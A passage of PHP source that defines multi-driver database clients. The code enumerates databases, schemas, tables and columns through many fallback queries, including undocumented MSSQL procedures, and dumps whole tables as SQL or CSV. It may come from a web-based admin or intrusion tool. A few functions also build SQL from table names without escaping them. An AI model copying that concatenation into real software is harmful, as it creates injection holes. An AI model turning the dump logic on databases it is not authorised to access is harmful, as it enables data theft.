1889 if (($v = $this->_cnct->query('SELECT * FROM ' . $v . ' LIMIT 1')) && ($v = $v->fetch(PDO::FETCH_ASSOC))) {
1890 foreach ($v as $k => $i) $a[$k] = '';
1891 return $a;
1892 }
1893 return FALSE;
1894 }
1895 function sqlTableSize($v) {
1896 return ($v = $this->_cnct->query('SELECT COUNT(*) FROM ' . $v)) ? $v->fetchColumn(0) : '"?"';
1897 }
1898 function close() {
1899 $this->_cnct = NULL;
1900 }
1901 }
1902 function sqlJoinColumns($a, $f) {
1903 if ($a) {
1904 foreach ($a as $k => $v) $a[$k] = $f($v);
1905 return implode(',', $a);
1906 }
1907 return '*';
1908 }
1909 function sqlOutCreate($t, $c, $d, $f) {
1910 echo "\nCREATE TABLE ", $f($t), " (\n";
1911 $b = FALSE;
1912 foreach ($c as $k => $v) {
1913 if ($b) echo ",\n";
1914 else $b = TRUE;
1915 echo ' ', $f($k), ' ', $v ? $v : $d;
1916 }
1917 echo "\n);\n";
1918 }
1919 function sqlOutInsert($t, $c) {
1920 echo "\nINSERT INTO ", $t;
1921 if ($c !== '*') echo ' (', $c, ')';
1922 echo ' VALUES';
1923 }
1924 function sqlOutValues($a, $f) {
1925 echo "\n(";
1926 $b = FALSE;
1927 foreach ($a as $v) {
1928 if ($b) echo ',';
1929 else $b = TRUE;
1930 if ($v === NULL) echo 'NULL';
1931 else echo $f($v);
1932 }
1933 echo ')';
1934 }
1935 function csvOutValues($a) {
1936 $c = 0;
1937 $b = FALSE;
1938 foreach ($a as $v) {
1939 if ($b) echo ';';
1940 else $b = TRUE;
1941 if ($v === NULL) echo '\N';
1942 else {
1943 $v = str_replace(array('"', ';', "\r", "\n"), array('""', ';', '\r', '\n'), $v, $c);
1944 echo $c > 0 ? '"' . $v . '"' : $v;
1945 }
1946 }
1947 }
1948 function mysqlEscData($v) {
1949 return "'" . str_replace(array('\\', "'", '"', "\0", "\n", "\r", "\x1A"), array('\\\\', "\\'", '\\"', '\\0', '\\n', '\\r', '\\Z'), $v) . "'";
1950 }
1951 function mysqlEscName() {
1952 $a = func_get_args();
1953 foreach ($a as $k => $v) $a[$k] = '`' . str_replace('`', '``', $v) . '`';
1954 return implode('.', $a);
1955 }
1956 class MySQLBase extends SQLBase {
1957 var $haveSchemas = FALSE, $canPaginate = TRUE;
1958 function charset($k) {
1959 $v = array('utf8', 'utf16', 'cp1250', 'cp1251', 'latin1', 'latin5', 'cp1256', 'cp1257', 'latin1', 'latin2', 'greek', 'hebrew', 'latin5', 'latin7', 'big5', 'gbk', 'sjis', 'euckr', 'ujis', 'cp866', 'koi8r', 'koi8u');
1960 return isset($v[$k]) ? $v[$k] : 'utf8';
1961 }
1962 function parseCrtTbl($v) {
1963 $a = array();
1964 $n = '`((?:[^`]|``)+)`';
1965 $l = ' \(((?:`(?:[^`]|``)+`,?)+)\)';
1966 $t = '(?: USING (?:BTREE|HASH))?';
1967 $c = '(?:\s+CONSTRAINT(?: `(?:[^`]|``)+)`)?\s+';
1968 $e = '(`(?:[^`]|``)+`)';
1969 preg_match_all('#^\s+' . $n . ' ([a-z]+)((?:\(| ).+)?,?$#Um', $v, $m);
1970 foreach ($m[1] as $k => $i) $a[$i] = strtoupper($m[2][$k]) . $m[3][$k];
1971 if (preg_match('#^' . $c . 'PRIMARY KEY' . $t . $l . '.*$#Um', $v, $m)) {
1972 preg_match_all('#' . $n . '#', $m[1], $m);
1973 foreach ($m[1] as $i) $a[$i].= ', PRIMARY KEY';
1974 }
1975 if (preg_match_all('#^\s+(?:INDEX|KEY)(?: ' . $e . ')?' . $t . $l . '.*$#Um', $v, $m)) foreach ($m[1] as $i => $k) {
1976 if ($k !== '') $k = ' ' . $k;
1977 preg_match_all('#' . $n . '#', $m[2][$i], $r);
1978 foreach ($r[1] as $i) $a[$i].= ', KEY' . $k;
1979 }
1980 if (preg_match_all('#^' . $c . 'UNIQUE(?: (?:INDEX|KEY))?(?: ' . $e . ')?' . $t . $l . '.*$#Um', $v, $m)) foreach ($m[1] as $i => $k) {
1981 if ($k !== '') $k = ' ' . $k;
1982 preg_match_all('#' . $n . '#', $m[2][$i], $r);
1983 foreach ($r[1] as $i) $a[$i].= ', UNIQUE KEY' . $k;
1984 }
1985 if (preg_match_all('#^\s+(?:FULLTEXT|SPATIAL)(?: (?:INDEX|KEY))?(?: ' . $e . ')?' . $l . '.*$#Um', $v, $m)) foreach ($m[1] as $i => $k) {
1986 if ($k !== '') $k = ' ' . $k;
1987 preg_match_all('#' . $n . '#', $m[2][$i], $r);
1988 foreach ($r[1] as $i) $a[$i].= ', FULLTEXT KEY' . $k;
1989 }
1990 if (preg_match_all('#^' . $c . 'FOREIGN KEY(?: ' . $e . ')?' . $l . ' REFERENCES (`(?:[^`]|``)+` \((?:`(?:[^`]|``)+`,?)+\)).*$#Um', $v, $m)) foreach ($m[1] as $i => $k) {
1991 if ($k !== '') $k = ' ' . $k;
1992 $k.= ' ' . $m[3][$i];
1993 preg_match_all('#' . $n . '#', $m[2][$i], $r);
1994 foreach ($r[1] as $i) $a[$i].= ', FOREIGN KEY' . $k;
1995 }
1996 return $a;
1997 }
1998 function prepType($v) {
1999 $s = ($i = strpos($v[1], '(')) ? strtoupper(substr($v[1], 0, $i)) . substr($v[1], $i) : strtoupper($v[1]);
2000 if ($v[2] === 'NO') $s.= ' NOT NULL';
2001 if ($v[4] !== NULL) $s.= ' DEFAULT ' . mysqlEscData($v[4]);
2002 if ($v[5] !== NULL) $s.= ' ' . strtoupper($v[5]);
2003 switch ($v[3]) {
2004 case 'PRI':
2005 $s.= ' PRIMARY KEY';
2006 break;
2007 case 'UNI':
2008 $s.= ' UNIQUE KEY';
2009 break;
2010 case 'MUL':
2011 $s.= ', KEY(' . mysqlEscName($v[0]) . ')';
2012 break;
2013 }
2014 return $s;
2015 }
2016 function getBases() {
2017 return $this->tryQueries(array('SHOW DATABASES', 'SHOW SCHEMAS', 'SELECT schema_name FROM information_schema.schemata', 'SELECT DISTINCT table_schema FROM information_schema.tables', 'SELECT DISTINCT table_schema FROM information_schema.columns'));
2018 }
2019 function getTables($b) {
2020 $v = mysqlEscData($b);
2021 return $this->tryQueries(array('SHOW TABLES FROM ' . mysqlEscName($b), 'SELECT table_name FROM information_schema.tables WHERE table_schema=' . $v, 'SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema=' . $v));
2022 }
2023 function getColumns($b, $t) {
2024 $a = array();
2025 $e = mysqlEscName($b, $t);
2026 if ($this->tryQueries(array('SHOW COLUMNS FROM ' . $e, 'SHOW FIELDS FROM ' . $e, 'DESC ' . $e, 'DESCRIBE ' . $e, 'SELECT column_name,column_type,is_nullable,column_key,column_default,extra FROM information_schema.columns WHERE table_name=' . mysqlEscData($t) . ' AND table_schema=' . mysqlEscData($b)))) {
2027 while ($v = $this->fetchRow()) $a[$v[0]] = $this->prepType($v);
2028 return $a;
2029 }
2030 if ($this->query('SHOW CREATE TABLE ' . $e) && ($v = $this->fetchRow())) return $this->parseCrtTbl($v[1]);
2031 return $a;
2032 }
2033 function select($b, $t, $c, $o, $l) {
2034 return $this->query('SELECT ' . sqlJoinColumns($c, 'mysqlEscName') . ' FROM ' . mysqlEscName($b, $t) . ' LIMIT ' . $o . ',' . $l);
2035 }
2036 function outCreateTable($b, $t) {
2037 if ($this->query('SHOW CREATE TABLE ' . mysqlEscName($b, $t)) && ($v = $this->fetchRow())) {
2038 echo "\n", $v[1], ";\n";
2039 return '';
2040 }
2041 if ($v = $this->getColumns($b, $t)) {
2042 sqlOutCreate($t, $v, 'BLOB', 'mysqlEscName');
2043 return '';
2044 }
2045 return sprintf(E_CNSTCS, $b . '.' . $t);
2046 }
2047 }
2048 class MySQLClient extends MySQLBase {
2049 function connect($h, $u, $p, $b, $c) {
2050 if (!($this->_cnct = mysql_connect($h, $u, $p))) return FALSE;
2051 mysql_query('SET NAMES ' . $this->charset($c), $this->_cnct);
2052 if ($b !== NULL && !mysql_select_db($b, $this->_cnct)) return mysql_query('USE ' . mysqlEscName($b), $this->_cnct);
2053 return TRUE;
2054 }
2055 function getError() {
2056 if ($this->_cnct) {
2057 $v = mysql_error($this->_cnct);
2058 mysql_close($this->_cnct);
2059 return $v;
2060 }
2061 return mysql_error();
2062 }
2063 function tryQueries($a) {
2064 foreach ($a as $v) if ($this->_res = mysql_query($v, $this->_cnct)) return TRUE;
2065 return FALSE;
2066 }
2067 function getBases() {
2068 return (($this->_res = mysql_list_dbs($this->_cnct)) || parent::getBases());
2069 }
2070 function fetchBase() {
2071 return ($v = mysql_fetch_row($this->_res)) ? $v[0] : FALSE;
2072 }
2073 function fetchTable() {
2074 return ($v = mysql_fetch_row($this->_res)) ? $v[0] : FALSE;
2075 }
2076 function getTables($b) {
2077 return (($this->_res = mysql_list_tables($b, $this->_cnct)) || parent::getTables($b));
2078 }
2079 function getTableSize($b, $t) {
2080 return ($v = mysql_query('SELECT COUNT(*) FROM ' . mysqlEscName($b, $t), $this->_cnct)) ? mysql_result($v, 0) : '"?"';
2081 }
2082 function getColumns($b, $t) {
2083 if ($a = parent::getColumns($b, $t)) return $a;
2084 $e = mysqlEscName($b, $t);
2085 $q = FALSE;
2086 if (($q = mysql_list_fields($b, $t, $this->_cnct)) || ($q = mysql_query('SELECT * FROM ' . $e . ' LIMIT 0', $this->_cnct))) {
2087 if ($v = mysql_fetch_field($q)) {
2088 do {
2089 $s = $v->type === 'string' ? 'TEXT' : strtoupper($v->type);
2090 if ($v->unsigned) $s.= ' UNSIGNED';
2091 if ($v->zerofill) $s.= ' ZEROFILL';
2092 if ($v->not_null) $s.= ' NOT NULL';
2093 if (isset($v->def) && $v->def !== '' && $v->def !== NULL) $s.= ' DEFAULT ' . mysqlEscData($v->def);
2094 if ($v->primary_key) $s.= ' PRIMARY KEY';
2095 elseif ($v->unique_key) $s.= ' UNIQUE KEY';
2096 elseif ($v->multiple_key) $s.= ', KEY(' . mysqlEscName($v->name) . ')';
2097 $a[$v->name] = $s;
2098 }
2099 while ($v = mysql_fetch_field($q));
2100 return $a;
2101 }
2102 if (is_string($v = mysql_field_name($q, 0))) {
2103 $i = 0;
2104 do {
2105 if (is_string($s = mysql_field_type($q, $i))) $a[$v] = $s === 'string' ? 'TEXT' : strtoupper($s);
2106 if (($a[$v] === 'INT' || $a[$v] === 'REAL') && ($s = mysql_field_len($q, $i))) $a[$v].= '(' . $s . ')';
2107 if (is_string($s = mysql_field_flags($q, $i))) {
2108 if (strpos($s, 'unsigned') !== FALSE) $a[$v].= ' UNSIGNED';
2109 if (strpos($s, 'zerofill') !== FALSE) $a[$v].= ' ZEROFILL';
2110 if (strpos($s, 'not_null') !== FALSE) $a[$v].= ' NOT NULL';
2111 if (strpos($s, 'auto_increment') !== FALSE) $a[$v].= ' AUTO_INCREMENT';
2112 if (strpos($s, 'primary_key') !== FALSE) $a[$v].= ' PRIMARY KEY';
2113 elseif (strpos($s, 'unique_key') !== FALSE) $a[$v].= ' UNIQUE KEY';
2114 elseif (strpos($s, 'multiple_key') !== FALSE) $a[$v].= ', KEY(' . mysqlEscName($v) . ')';
2115 }
2116 }
2117 while (is_string($v = mysql_field_name($q, ++$i)));
2118 return $a;
2119 }
2120 }
2121 if (($v = mysql_query('SELECT * FROM ' . $e . ' LIMIT 1', $this->_cnct)) && ($v = mysql_fetch_assoc($v))) {
2122 foreach ($v as $k => $s) $a[$k] = '';
2123 return $a;
2124 }
2125 return FALSE;
2126 }
2127 function fetchAssoc() {
2128 return mysql_fetch_assoc($this->_res);
2129 }
2130 function fetchRow() {
2131 return mysql_fetch_row($this->_res);
2132 }
2133 function query($v) {
2134 return ($this->_res = mysql_query($v, $this->_cnct));
2135 }
2136 function dump($b, $t, $c, $f) {
2137 if ($f) $i = $this->outCreateTable($b, $t);
2138 $c = sqlJoinColumns($c, 'mysqlEscName');
2139 if (($q = mysql_unbuffered_query('SELECT ' . $c . ' FROM ' . mysqlEscName($b, $t), $this->_cnct)) && ($v = mysql_fetch_assoc($q))) {
2140 if ($f) sqlOutInsert(mysqlEscName($t), $c);
2141 else echo implode(';', array_keys($v)), "\n";
2142 $d = FALSE;
2143 do {
2144 if ($d) echo $d;
2145 else $d = $f ? ',' : "\n";
2146 if ($f) sqlOutValues($v, 'mysqlEscData');
2147 else csvOutValues($v);
2148 }
2149 while ($v = mysql_fetch_row($q));
2150 if ($f) echo ";\n";
2151 mysql_free_result($q);
2152 } else $i.= sprintf(E_SLCTDT, $b . '.' . $t);
2153 return $i;
2154 }
2155 function close() {
2156 mysql_close($this->_cnct);
2157 }
2158 }
2159 class MySQLiClient extends MySQLBase {
2160 function connect($h, $u, $p, $b, $c) {
2161 if ($h !== NULL && ($v = strrpos($h, ':'))) {
2162 $t = (int)substr($h, $v + 1);
2163 $h = substr($h, 0, $v);
2164 } else $t = NULL;
2165 if (!($this->_cnct = mysqli_connect($h, $u, $p, $b, $t))) return FALSE;
2166 mysqli_query($this->_cnct, 'SET NAMES ' . $this->charset($c));
2167 return TRUE;
2168 }
2169 function getError() {
2170 if ($this->_cnct) {
2171 $v = mysqli_error($this->_cnct);
2172 mysqli_close($this->_cnct);
2173 return $v;
2174 }
2175 return mysqli_connect_error();
2176 }
2177 function tryQueries($a) {
2178 foreach ($a as $v) if ($this->_res = mysqli_query($this->_cnct, $v)) return TRUE;
2179 return FALSE;
2180 }
2181 function fetchBase() {
2182 return ($v = mysqli_fetch_row($this->_res)) ? $v[0] : FALSE;
2183 }
2184 function fetchTable() {
2185 return ($v = mysqli_fetch_row($this->_res)) ? $v[0] : FALSE;
2186 }
2187 function getTableSize($b, $t) {
2188 if ($v = mysqli_query($this->_cnct, 'SELECT COUNT(*) FROM ' . mysqlEscName($b, $t))) {
2189 $v = mysqli_fetch_row($v);
2190 return $v[0];
2191 }
2192 return '"?"';
2193 }
2194 function getColumns($b, $t) {
2195 if ($a = parent::getColumns($b, $t)) return $a;
2196 $e = mysqlEscName($b, $t);
2197 $q = FALSE;
2198 if ($q = mysqli_query($this->_cnct, 'SELECT * FROM ' . $e . ' LIMIT 1')) {
2199 $y = array('DECIMAL', 'TINYINT', 'SMALLINT', 'INT', 'FLOAT', 'DOUBLE', 'NULL', 'TIMESTAMP', 'BIGINT', 'MEDIUMINT', 'DATE', 'TIME', 'DATETIME', 'YEAR', 'NEWDATE', 16 => 'BIT', 246 => 'DECIMAL', 247 => 'ENUM', 248 => 'SET', 249 => 'TINY', 250 => 'MEDIUM', 251 => 'LONG', 252 => '', 253 => 'VARCHAR', 254 => 'CHAR', 255 => 'GEOMETRY');
2200 if (!($v = mysqli_fetch_fields($q)) && ($i = mysqli_fetch_field($q))) {
2201 $v = array();
2202 do {
2203 $v[] = $i;
2204 } while ($i = mysqli_fetch_field($q));
2205 }
2206 if ($v) {
2207 foreach ($v as $i) {
2208 if ($i->type > 248 && $i->type < 253) $s = $y[$i->type] . (($i->flags & 16) ? 'BLOB' : 'TEXT');
2209 else $s = isset($y[$i->type]) ? $y[$i->type] : 'BLOB';
2210 if ($i->flags & 32768) {
2211 $s.= '(' . $i->length;
2212 if ($i->decimals) $s.= ',' . $i->decimals;
2213 $s.= ')';
2214 }
2215 if ($i->flags & 32) $s.= ' UNSIGNED';
2216 if ($i->flags & 64) $s.= ' ZEROFILL';
2217 if ($i->flags & 1) $s.= ' NOT NULL';
2218 if (isset($i->def) && $i->def !== '' && $i->def !== NULL) $s.= ' DEFAULT ' . mysqlEscData($i->def);
2219 if ($i->flags & 512) $s.= ' AUTO_INCREMENT';
2220 if ($i->flags & 2) $s.= ' PRIMARY KEY';
2221 elseif (($i->flags & 4) || ($i->flags & 65536)) $s.= ' UNIQUE KEY';
2222 elseif (($i->flags & 8) || ($i->flags & 16384)) $s.= ', KEY(' . mysqlEscName($i->name) . ')';
2223 $a[$i->name] = $s;
2224 }
2225 return $a;
2226 }
2227 if ($v = mysqli_fetch_assoc($q)) {
2228 foreach ($v as $k => $i) $a[$k] = '';
2229 return $a;
2230 }
2231 }
2232 return FALSE;
2233 }
2234 function fetchAssoc() {
2235 return mysqli_fetch_assoc($this->_res);
2236 }
2237 function fetchRow() {
2238 return mysqli_fetch_row($this->_res);
2239 }
2240 function query($v) {
2241 return ($this->_res = mysqli_query($this->_cnct, $v));
2242 }
2243 function dump($b, $t, $c, $f) {
2244 if ($f) $i = $this->outCreateTable($b, $t);
2245 $c = sqlJoinColumns($c, 'mysqlEscName');
2246 if (($q = mysqli_query($this->_cnct, 'SELECT ' . $c . ' FROM ' . mysqlEscName($b, $t), MYSQLI_USE_RESULT)) && ($v = mysqli_fetch_assoc($q))) {
2247 if ($f) sqlOutInsert(mysqlEscName($t), $c);
2248 else echo implode(';', array_keys($v)), "\n";
2249 $d = FALSE;
2250 do {
2251 if ($d) echo $d;
2252 else $d = $f ? ',' : "\n";
2253 if ($f) sqlOutValues($v, 'mysqlEscData');
2254 else csvOutValues($v);
2255 }
2256 while ($v = mysqli_fetch_row($q));
2257 if ($f) echo ";\n";
2258 mysqli_free_result($q);
2259 } else $i.= sprintf(E_SLCTDT, $b . '.' . $t);
2260 return $i;
2261 }
2262 function close() {
2263 mysqli_close($this->_cnct);
2264 }
2265 }
2266 function mssqlEscData($v) {
2267 return "'" . str_replace("'", "''", $v) . "'";
2268 }
2269 function mssqlEscName() {
2270 $a = func_get_args();
2271 foreach ($a as $k => $v) $a[$k] = '[' . str_replace(']', ']]', $v) . ']';
2272 return implode('.', $a);
2273 }
2274 class MSSQLBase extends SQLBase {
2275 var $haveSchemas = TRUE, $canPaginate = TRUE, $_base = NULL;
2276 function getBases() {
2277 return $this->tryQueries(array('SELECT name FROM sys.databases', 'SELECT name FROM sys.sysdatabases', 'SELECT name FROM master.dbo.sysdatabases', 'EXEC sp_oledb_database', 'EXEC master.dbo.sp_msdbuseraccess "db"', 'EXEC master.sys.sp_msdbuseraccess "db"', "EXEC sp_msforeachdb 'SELECT ''?'''", 'EXEC sp_helpdb', 'EXEC sp_databases', 'EXEC sp_oledb_defdb', 'SELECT DISTINCT catalog_name FROM information_schema.schemata', 'SELECT DB_NAME()'));
2278 }
2279 function getSchemas($b) {
2280 return $this->tryQueries(array('SELECT NULL,schema_name FROM information_schema.schemata', 'SELECT NULL,name FROM sys.schemas', 'SELECT DISTINCT schema_id,SCHEMA_NAME(schema_id) FROM sys.all_objects', 'EXEC sp_schemata_rowset', 'SELECT DISTINCT schema_id,SCHEMA_NAME(schema_id) FROM sys.objects', 'SELECT DISTINCT schema_id,SCHEMA_NAME(schema_id) FROM sys.tables', "SELECT NULL,name FROM sys.database_principals WHERE type='S'"));
2281 }
2282 function getTables($b, $s) {
2283 $s = mssqlEscData($s);
2284 if ($this->query('SELECT SCHEMA_ID(' . $s . ')') && ($v = $this->fetchRow()) && $v[0]) {
2285 $sr = 'schema_id=' . $v[0];
2286 $ur = 'uid=' . $v[0];
2287 } else {
2288 $sr = 'SCHEMA_NAME(schema_id)=' . $s;
2289 $ur = 'SCHEMA_NAME(uid)=' . $s;
2290 }
2291 return $this->tryQueries(array("SELECT name FROM sys.all_objects WHERE type IN('U','S','V') AND " . $sr, 'EXEC sp_tables @table_owner=' . $s, "SELECT name FROM sys.objects WHERE type IN('U','S','V') AND " . $sr, "SELECT name FROM sysobjects WHERE xtype IN('U','S','V') AND " . $ur, 'SELECT table_name FROM information_schema.tables WHERE table_schema=' . $s, 'SELECT name FROM sys.tables WHERE ' . $sr, "EXEC sp_msforeachtable 'SELECT PARSENAME(''?'',1)', @whereand='AND " . str_replace("'", "''", $sr) . "'"));
2292 }
2293 function getColumns($b, $s, $t) {
2294 $a = array();
2295 $sd = mssqlEscData($s);
2296 $sn = mssqlEscName($s);
2297 $td = mssqlEscData($t);
2298 $tn = mssqlEscName($t);
2299 $stdn = mssqlEscData($sn . '.' . $tn);
2300 if ($this->query('EXEC sp_columns ' . $td . ',' . $sd) && $v = $this->fetchRow()) {
2301 do {
2302 $v[5] = strtoupper($v[5]);
2303 if ($v[10] === 0) $v[5].= ' NOT NULL';
2304 if ($v[12] !== NULL) $v[5].= ' DEFAULT' . $v[12];
2305 $a[$v[3]] = $v[5];
2306 }
2307 while ($v = $this->fetchRow());
2308 return $a;
2309 }
2310 if ($this->query('EXEC sp_help ' . $stdn) && $this->nextResult() && ($v = $this->fetchRow())) {
2311 do {
2312 $v[1] = strtoupper($v[1]);
2313 if ($v[6] === 'no') $v[1].= ' NOT NULL';
2314 $a[$v[0]] = $v[1];
2315 }
2316 while ($v = $this->fetchRow());
2317 return $a;
2318 }
2319 if ($this->query('EXEC sp_mshelpcolumns ' . $stdn) && $v = $this->fetchRow()) {
2320 do {
2321 $v[6] = strtoupper($v[6]);
2322 if ($v[9] === 0) $v[6].= ' NOT NULL';
2323 if ($v[17] !== NULL) $v[6].= ' DEFAULT' . $v[17];
2324 $a[$v[0]] = $v[6];
2325 }
2326 while ($v = $this->fetchRow());
2327 return $a;
2328 }
2329 if ($this->query('SELECT column_name,data_type,is_nullable,column_default FROM information_schema.columns WHERE table_name=' . $td . ' AND table_schema=' . $sd) && $v = $this->fetchRow()) {
2330 do {
2331 $v[1] = strtoupper($v[1]);
2332 if ($v[2] === 'NO') $v[1].= ' NOT NULL';
2333 if ($v[3] !== NULL) $v[1].= ' DEFAULT' . $v[3];
2334 $a[$v[0]] = $v[1];
2335 }
2336 while ($v = $this->fetchRow());
2337 return $a;
2338 }
2339 if ($this->query('EXEC sp_columns_managed @owner=' . $sd . ', @table=' . $td) && $v = $this->fetchRow()) {
2340 do {
2341 $v[7] = strtoupper($v[7]);
2342 if ($v[6] === 'NO') $v[7].= ' NOT NULL';
2343 if ($v[5] !== NULL) $v[7].= ' DEFAULT' . $v[5];
2344 $a[$v[3]] = $v[7];
2345 }
2346 while ($v = $this->fetchRow());
2347 return $a;
2348 }
2349 if ($this->query('SELECT OBJECT_ID(' . $stdn . ')') && $v = $this->fetchRow()) {
2350 $r = 'object_id=' . $v[0];
2351 $i = 'id=' . $v[0];
2352 } else {
2353 $r = 'OBJECT_SCHEMA_NAME(object_id)=' . $sd . ' AND OBJECT_NAME(object_id)=' . $td;
2354 $i = 'OBJECT_SCHEMA_NAME(id)=' . $sd . ' AND OBJECT_NAME(id)=' . $td;
2355 }
2356 if ($this->tryQueries(array('SELECT name,TYPE_NAME(system_type_id),is_nullable FROM sys.all_columns WHERE ' . $r, 'SELECT name,TYPE_NAME(xtype),isnullable FROM syscolumns WHERE ' . $i, 'SELECT name,TYPE_NAME(system_type_id),is_nullable FROM sys.columns WHERE ' . $r))) {
2357 while ($v = $this->fetchRow()) {
2358 $v[1] = strtoupper($v[1]);
2359 if ($v[2] === 0) $v[1].= ' NOT NULL';
2360 $a[$v[0]] = $v[1];
2361 }
2362 return $a;
2363 }
2364 if ($this->query('EXEC sp_columns_rowset ' . $td . ',' . $sd) && $v = $this->fetchRow()) {
2365 do {
2366 $v[11] = 'BINARY';
2367 if ($v[10] === 0) $v[11].= ' NOT NULL';
2368 if ($v[8] !== NULL) $v[11].= ' DEFAULT' . $v[8];
2369 $a[$v[3]] = $v[11];
2370 }
2371 while ($v = $this->fetchRow());
2372 return $a;
2373 }
2374 return FALSE;
2375 }
2376 } class MSSQLClient extends MSSQLBase {
2377 function connect($h, $u, $p, $b, $c) {
2378 if (!($this->_cnct = mssql_connect($h, $u, $p))) return FALSE;
2379 return $this->setBase($b);
2380 }
2381 function getError() {
2382 $v = mssql_get_last_message();
2383 if ($this->_cnct) mssql_close($this->_cnct);
2384 return $v;
2385 }
2386 function tryQueries($a) {
2387 foreach ($a as $v) if ($this->_res = mssql_query($v, $this->_cnct)) return TRUE;
2388 return FALSE;
2389 }
2390 function fetchBase() {
2391 if (($v = mssql_fetch_row($this->_res)) || (mssql_next_result($this->_res) && ($v = mssql_fetch_row($this->_res)))) return $v[0];
2392 return FALSE;
2393 }
2394 function fetchSchema() {
2395 return ($v = mssql_fetch_row($this->_res)) ? $v[1] : FALSE;
2396 }
2397 function fetchTable() {
2398 if (($v = mssql_fetch_row($this->_res)) || (mssql_next_result($this->_res) && ($v = mssql_fetch_row($this->_res)))) return count($v) === 1 ? $v[0] : $v[2];
2399 return FALSE;
2400 }
2401 function getTableSize($b, $s, $t) {
2402 return ($v = mssql_query('SELECT COUNT(*) FROM ' . mssqlEscName($b, $s, $t), $this->_cnct)) ? mssql_result($v, 0, 0) : '"?"';
2403 }
2404 function setBase($v) {
2405 if ($v !== $this->_base) {
2406 $this->_base = NULL;
2407 if (!mssql_select_db(mssqlEscName($v), $this->_cnct) && !mssql_query('USE ' . mssqlEscName($v), $this->_cnct)) return FALSE;
2408 $this->_base = $v;
2409 }
2410 return TRUE;
2411 }
2412 function getColumns($b, $s, $t) {
2413 if ($a = parent::getColumns($b, $s, $t)) return $a;
2414 $a = array();
2415 if ($q = mssql_query('SELECT TOP 1 * FROM ' . mssqlEscName($b, $s, $t), $this->_cnct)) {
2416 if ($v = mssql_fetch_field($q)) {
2417 do {
2418 $a[$v->name] = strtoupper($v->type);
2419 } while ($v = mssql_fetch_field($q));
2420 return $a;
2421 }
2422 if (is_string($v = mssql_field_name($q, 0))) {
2423 $i = 0;
2424 do {
2425 $a[$v] = is_string($s = mssql_field_type($q, $i)) ? strtoupper($s) : '';
2426 } while (is_string($v = mssql_field_name($q, ++$i)));
2427 return $a;
2428 }
2429 if ($v = mssql_fetch_array($q, MSSQL_ASSOC)) {
2430 foreach ($v as $k => $i) $a[$k] = '';
2431 return $a;
2432 }
2433 }
2434 return FALSE;
2435 } function select($b, $s, $t, $c, $o, $l) {
2436 $v = $l < 1000 ? 1000 : $l;
2437 if (!($this->_res = mssql_query('SELECT TOP ' . ($o + $l) . ' ' . sqlJoinColumns($c, 'mssqlEscName') . ' FROM ' . mssqlEscName($b, $s, $t), $this->_cnct, $v))) return FALSE;
2438 $k = floor($o / $v);
2439 for ($i = 0;$i < $k;++$i) if (!mssql_fetch_batch($this->_res)) return FALSE;
2440 $k = $o - ($k * $v);
2441 if ($k > 0 && !mssql_data_seek($this->_res, $k)) return FALSE;
2442 return TRUE;
2443 }
2444 function fetchAssoc() {
2445 return mssql_fetch_array($this->_res, MSSQL_ASSOC);
2446 }
2447 function fetchRow() {
2448 if (($v = mssql_fetch_row($this->_res)) || (mssql_fetch_batch($this->_res) && ($v = mssql_fetch_row($this->_res)))) return $v;
2449 return FALSE;
2450 }
2451 function nextResult() {
2452 return mssql_next_result($this->_res);
2453 }
2454 function query($v) {
2455 return ($this->_res = mssql_query($v, $this->_cnct));
2456 }
2457 function dump($b, $s, $t, $c, $f) {
2458 if (!$this->setBase($b)) return sprintf(E_CHNGDB, $b, $s, $t);
2459 $i = '';
2460 if ($f) {
2461 if ($v = $this->getColumns($b, $s, $t)) sqlOutCreate($t, $v, 'BINARY', 'mssqlEscName');
2462 else $i = sprintf(E_CNSTCS, $b . '.' . $s . '.' . $t);
2463 }
2464 $c = sqlJoinColumns($c, 'mssqlEscName');
2465 if (($q = mssql_query('SELECT ' . $c . ' FROM ' . mssqlEscName($b, $s, $t), $this->_cnct, 1000)) && ($v = mssql_fetch_array($q, MSSQL_ASSOC))) {
2466 if ($f) sqlOutInsert(mssqlEscName($t), $c);
2467 else echo implode(';', array_keys($v)), "\n";
2468 $d = FALSE;
2469 do {
2470 do {
2471 if ($d) echo $d;
2472 else $d = $f ? ',' : "\n";
2473 if ($f) sqlOutValues($v, 'mssqlEscData');
2474 else csvOutValues($v);
2475 }
2476 while ($v = mssql_fetch_row($q));
2477 }
2478 while (mssql_fetch_batch($q));
2479 if ($f) echo ";\n";
2480 mssql_free_result($q);
2481 } else $i.= sprintf(E_SLCTDT, $b . '.' . $s . '.' . $t);
2482 return $i;
2483 }
2484 function close() {
2485 mssql_close($this->_cnct);
2486 }
2487 }
2488 class SQLSrvClient extends MSSQLBase {
2489 function connect($h, $u, $p, $b, $c) {
2490 $this->_base = $b;
2491 $a = array();
2492 if ($u !== NULL) $a['UID'] = $u;
2493 if ($p !== NULL) $a['PWD'] = $p;
2494 if ($b !== NULL) $a['Database'] = $b;
2495 return ($this->_cnct = sqlsrv_connect($h, $a));
2496 }
2497 function getError() {
2498 $v = sqlsrv_errors();
2499 if ($this->_cnct) sqlsrv_close($this->_cnct);
2500 return $v ? $v[0]['message'] : '';
2501 }
2502 function tryQueries($a) {
2503 foreach ($a as $v) if ($this->_res = sqlsrv_query($this->_cnct, $v)) return TRUE;
2504 return FALSE;
2505 }
2506 function fetchBase() {
2507 return (($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC)) || (sqlsrv_next_result($this->_res) && ($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC)))) ? $v[0] : FALSE;
2508 }
2509 function fetchSchema() {
2510 return ($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC)) ? $v[1] : FALSE;
2511 }
2512 function fetchTable() {
2513 if (($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC)) || (sqlsrv_next_result($this->_res) && ($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC)))) return count($v) === 1 ? $v[0] : $v[2];
2514 return FALSE;
2515 }
2516 function getTableSize($b, $s, $t) {
2517 return (($v = sqlsrv_query($this->_cnct, 'SELECT COUNT(*) FROM ' . mssqlEscName($b, $s, $t))) && ($v = sqlsrv_fetch_array($v, SQLSRV_FETCH_NUMERIC))) ? $v[0] : '"?"';
2518 }
2519 function getColumns($b, $s, $t) {
2520 if ($a = parent::getColumns($b, $s, $t)) return $a;
2521 $a = array();
2522 if ($q = sqlsrv_query($this->_cnct, 'SELECT TOP 1 * FROM ' . mssqlEscName($b, $s, $t))) {
